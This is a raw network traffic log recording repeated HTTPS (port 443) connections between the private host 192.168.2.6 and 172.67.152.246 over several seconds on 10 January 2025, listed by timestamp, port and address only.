Jan 10, 2025 20:14:19.230997086 CET	57931	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:19.231230021 CET	57931	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:19.231240034 CET	443	57931	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:19.701267958 CET	443	57931	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:19.701343060 CET	57931	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:19.701782942 CET	57931	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:19.701792002 CET	443	57931	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:19.701950073 CET	57931	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:19.701955080 CET	443	57931	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:19.847836018 CET	443	57931	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:19.847904921 CET	57931	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:19.847908020 CET	443	57931	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:19.847945929 CET	57931	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:19.848098993 CET	57931	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:19.848119020 CET	443	57931	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:19.855109930 CET	57932	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:19.855144978 CET	443	57932	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:19.855202913 CET	57932	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:19.855412960 CET	57932	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:19.855422974 CET	443	57932	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:20.349807978 CET	443	57932	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:20.349951982 CET	57932	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:20.350364923 CET	57932	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:20.350373030 CET	443	57932	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:20.350542068 CET	57932	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:20.350547075 CET	443	57932	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:20.547369003 CET	443	57932	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:20.547424078 CET	57932	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:20.547437906 CET	443	57932	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:20.547478914 CET	57932	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:20.547535896 CET	443	57932	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:20.547569990 CET	57932	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:20.547575951 CET	443	57932	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:20.547610044 CET	57932	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:20.547615051 CET	443	57932	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:20.547646999 CET	443	57932	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:20.547647953 CET	57932	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:20.547660112 CET	443	57932	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:20.547679901 CET	57932	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:20.547703981 CET	57932	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:20.548078060 CET	443	57932	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:20.548118114 CET	57932	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:20.548125029 CET	443	57932	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:20.548160076 CET	57932	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:20.552213907 CET	443	57932	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:20.552283049 CET	57932	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:20.552289009 CET	443	57932	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:20.552329063 CET	57932	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:20.552469015 CET	443	57932	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:20.552500963 CET	57932	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:20.552505970 CET	443	57932	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:20.552541971 CET	57932	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:20.640146017 CET	443	57932	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:20.640213966 CET	443	57932	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:20.640243053 CET	443	57932	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:20.640263081 CET	57932	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:20.640274048 CET	443	57932	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:20.640288115 CET	57932	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:20.640315056 CET	57932	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:20.640321016 CET	443	57932	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:20.640356064 CET	443	57932	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:20.640357018 CET	57932	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:20.640391111 CET	57932	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:20.640583992 CET	57932	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:20.640600920 CET	443	57932	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:20.762008905 CET	57933	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:20.762053013 CET	443	57933	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:20.762195110 CET	57933	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:20.762517929 CET	57933	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:20.762531042 CET	443	57933	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:21.237045050 CET	443	57933	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:21.237150908 CET	57933	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:21.237597942 CET	57933	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:21.237608910 CET	443	57933	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:21.237768888 CET	57933	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:21.237772942 CET	443	57933	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:21.380762100 CET	443	57933	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:21.380836964 CET	443	57933	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:21.380923033 CET	57933	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:21.380942106 CET	57933	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:21.381189108 CET	57933	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:21.381205082 CET	443	57933	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:21.390799999 CET	57934	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:21.390839100 CET	443	57934	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:21.390932083 CET	57934	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:21.391206980 CET	57934	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:21.391216993 CET	443	57934	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:21.847515106 CET	443	57934	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:21.847636938 CET	57934	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:21.865641117 CET	57934	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:21.865648985 CET	443	57934	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:21.865784883 CET	57934	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:21.865789890 CET	443	57934	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:22.009263039 CET	443	57934	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:22.009318113 CET	443	57934	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:22.009344101 CET	443	57934	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:22.009380102 CET	443	57934	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:22.009402037 CET	57934	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:22.009428024 CET	443	57934	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:22.009444952 CET	57934	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:22.009480953 CET	57934	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:22.009489059 CET	443	57934	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:22.009522915 CET	57934	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:22.009613037 CET	443	57934	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:22.009648085 CET	57934	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:22.009995937 CET	443	57934	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:22.010031939 CET	57934	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:22.010037899 CET	443	57934	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:22.010077953 CET	57934	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:22.015225887 CET	443	57934	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:22.015304089 CET	443	57934	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:22.015341997 CET	443	57934	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:22.015346050 CET	57934	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:22.015363932 CET	443	57934	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:22.015392065 CET	57934	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:22.015429974 CET	57934	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:22.096849918 CET	443	57934	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:22.096925974 CET	57934	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:22.097033978 CET	443	57934	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:22.097084045 CET	57934	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:22.097132921 CET	443	57934	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:22.097176075 CET	57934	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:22.097214937 CET	443	57934	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:22.097258091 CET	57934	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:22.097311020 CET	443	57934	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:22.097352982 CET	57934	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:22.097362995 CET	443	57934	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:22.097400904 CET	57934	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:22.097477913 CET	443	57934	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:22.097522974 CET	57934	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:22.110424995 CET	57934	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:22.110441923 CET	443	57934	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:22.234729052 CET	57935	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:22.234777927 CET	443	57935	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:22.234862089 CET	57935	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:22.236164093 CET	57935	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:22.236243963 CET	443	57935	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:22.698282003 CET	443	57935	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:22.698424101 CET	57935	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:22.698879957 CET	57935	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:22.698894024 CET	443	57935	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:22.699060917 CET	57935	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:22.699065924 CET	443	57935	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:22.817142010 CET	443	57935	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:22.817217112 CET	443	57935	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:22.817220926 CET	57935	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:22.817253113 CET	57935	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:22.817490101 CET	57935	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:22.817507982 CET	443	57935	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:22.824325085 CET	57936	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:22.824372053 CET	443	57936	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:22.824434996 CET	57936	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:22.824657917 CET	57936	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:22.824668884 CET	443	57936	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:23.316425085 CET	443	57936	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:23.316689014 CET	57936	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:23.317161083 CET	57936	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:23.317189932 CET	443	57936	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:23.317379951 CET	57936	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:23.317393064 CET	443	57936	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:23.500484943 CET	443	57936	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:23.500531912 CET	443	57936	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:23.500564098 CET	443	57936	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:23.500593901 CET	443	57936	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:23.500622034 CET	443	57936	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:23.500631094 CET	57936	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:23.500631094 CET	57936	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:23.500689030 CET	443	57936	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:23.500746012 CET	443	57936	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:23.500746965 CET	57936	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:23.500747919 CET	57936	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:23.500747919 CET	57936	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:23.500775099 CET	443	57936	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:23.500799894 CET	57936	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:23.500828028 CET	57936	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:23.501007080 CET	443	57936	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:23.501070023 CET	57936	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:23.501085043 CET	443	57936	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:23.501140118 CET	57936	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:23.505183935 CET	443	57936	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:23.505233049 CET	443	57936	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:23.505256891 CET	57936	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:23.505278111 CET	443	57936	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:23.505302906 CET	57936	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:23.505336046 CET	57936	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:23.590734959 CET	443	57936	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:23.590806007 CET	443	57936	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:23.590873003 CET	57936	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:23.590907097 CET	443	57936	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:23.590922117 CET	57936	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:23.590924025 CET	443	57936	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:23.590954065 CET	57936	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:23.590986967 CET	57936	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:23.591268063 CET	57936	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:23.591284990 CET	443	57936	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:23.715389013 CET	57937	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:23.715447903 CET	443	57937	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:23.715559006 CET	57937	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:23.715878963 CET	57937	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:23.715889931 CET	443	57937	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:24.193344116 CET	443	57937	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:24.193479061 CET	57937	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:24.194066048 CET	57937	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:24.194072962 CET	443	57937	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:24.194220066 CET	57937	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:24.194224119 CET	443	57937	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:24.322570086 CET	443	57937	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:24.322652102 CET	443	57937	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:24.322657108 CET	57937	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:24.322700977 CET	57937	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:24.322890043 CET	57937	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:24.322905064 CET	443	57937	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:24.329879999 CET	57938	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:24.329920053 CET	443	57938	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:24.329998016 CET	57938	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:24.330282927 CET	57938	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:24.330292940 CET	443	57938	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:24.798758030 CET	443	57938	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:24.798849106 CET	57938	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:24.829993963 CET	57938	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:24.830058098 CET	443	57938	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:24.830118895 CET	57938	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:24.830135107 CET	443	57938	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:24.971573114 CET	443	57938	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:24.971631050 CET	443	57938	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:24.971642017 CET	57938	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:24.971663952 CET	443	57938	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:24.971712112 CET	443	57938	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:24.971755981 CET	57938	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:24.971756935 CET	57938	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:24.971756935 CET	57938	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:24.971770048 CET	443	57938	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:24.971786976 CET	443	57938	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:24.971812010 CET	57938	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:24.971831083 CET	57938	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:24.971846104 CET	443	57938	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:24.971892118 CET	57938	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:24.971904039 CET	443	57938	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:24.971946001 CET	57938	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:24.971946955 CET	443	57938	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:24.971957922 CET	443	57938	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:24.971982002 CET	57938	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:24.972012043 CET	443	57938	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:24.972013950 CET	57938	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:24.972047091 CET	443	57938	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:24.972101927 CET	57938	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:24.976609945 CET	443	57938	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:24.976686001 CET	57938	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:25.058507919 CET	443	57938	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:25.058604956 CET	443	57938	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:25.058609962 CET	57938	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:25.058671951 CET	443	57938	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:25.058696032 CET	57938	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:25.058725119 CET	57938	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:25.058738947 CET	443	57938	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:25.058779955 CET	443	57938	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:25.058785915 CET	57938	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:25.058836937 CET	57938	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:25.094849110 CET	57938	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:25.094865084 CET	443	57938	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:25.418656111 CET	57939	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:25.418704987 CET	443	57939	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:25.418767929 CET	57939	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:25.419049978 CET	57939	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:25.419070005 CET	443	57939	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:25.895839930 CET	443	57939	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:25.895948887 CET	57939	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:25.896357059 CET	57939	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:25.896363974 CET	443	57939	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:25.896527052 CET	57939	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:25.896532059 CET	443	57939	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:26.041275978 CET	443	57939	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:26.041399002 CET	57939	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:26.041436911 CET	443	57939	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:26.041457891 CET	443	57939	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:26.041508913 CET	57939	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:26.041712999 CET	57939	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:26.041728020 CET	443	57939	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:26.051266909 CET	57940	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:26.051367044 CET	443	57940	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:26.051460981 CET	57940	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:26.051661015 CET	57940	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:26.051697969 CET	443	57940	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:26.528681993 CET	443	57940	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:26.528794050 CET	57940	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:26.529225111 CET	57940	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:26.529236078 CET	443	57940	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:26.529413939 CET	57940	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:26.529417992 CET	443	57940	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:26.723741055 CET	443	57940	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:26.723810911 CET	443	57940	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:26.723814964 CET	57940	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:26.723835945 CET	443	57940	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:26.723856926 CET	57940	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:26.723876953 CET	443	57940	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:26.723885059 CET	57940	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:26.723891973 CET	443	57940	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:26.723941088 CET	443	57940	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:26.723964930 CET	57940	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:26.723964930 CET	57940	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:26.723974943 CET	443	57940	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:26.723992109 CET	57940	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:26.724019051 CET	57940	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:26.724024057 CET	443	57940	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:26.724061966 CET	57940	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:26.724067926 CET	443	57940	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:26.724100113 CET	443	57940	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:26.724128962 CET	57940	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:26.724134922 CET	443	57940	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:26.724150896 CET	57940	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:26.724178076 CET	57940	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:26.728816986 CET	443	57940	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:26.728871107 CET	57940	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:26.728877068 CET	443	57940	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:26.728893042 CET	443	57940	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:26.728916883 CET	57940	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:26.728944063 CET	57940	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:26.814388990 CET	443	57940	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:26.814460039 CET	443	57940	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:26.814470053 CET	57940	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:26.814522028 CET	443	57940	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:26.814551115 CET	57940	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:26.814559937 CET	57940	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:26.814565897 CET	443	57940	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:26.814604998 CET	57940	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:26.814627886 CET	443	57940	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:26.814651012 CET	57940	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:26.814659119 CET	443	57940	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:26.814668894 CET	57940	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:26.934849977 CET	57941	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:26.934889078 CET	443	57941	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:26.934973001 CET	57941	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:26.935261965 CET	57941	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:26.935275078 CET	443	57941	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:27.432301998 CET	443	57941	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:27.432406902 CET	57941	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:27.432965994 CET	57941	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:27.432971001 CET	443	57941	172.67.152.246	192.168.2.6
Jan 10, 2025 20:14:27.433111906 CET	57941	443	192.168.2.6	172.67.152.246
Jan 10, 2025 20:14:27.433115005 CET	443	57941	172.67.152.246	192.168.2.6
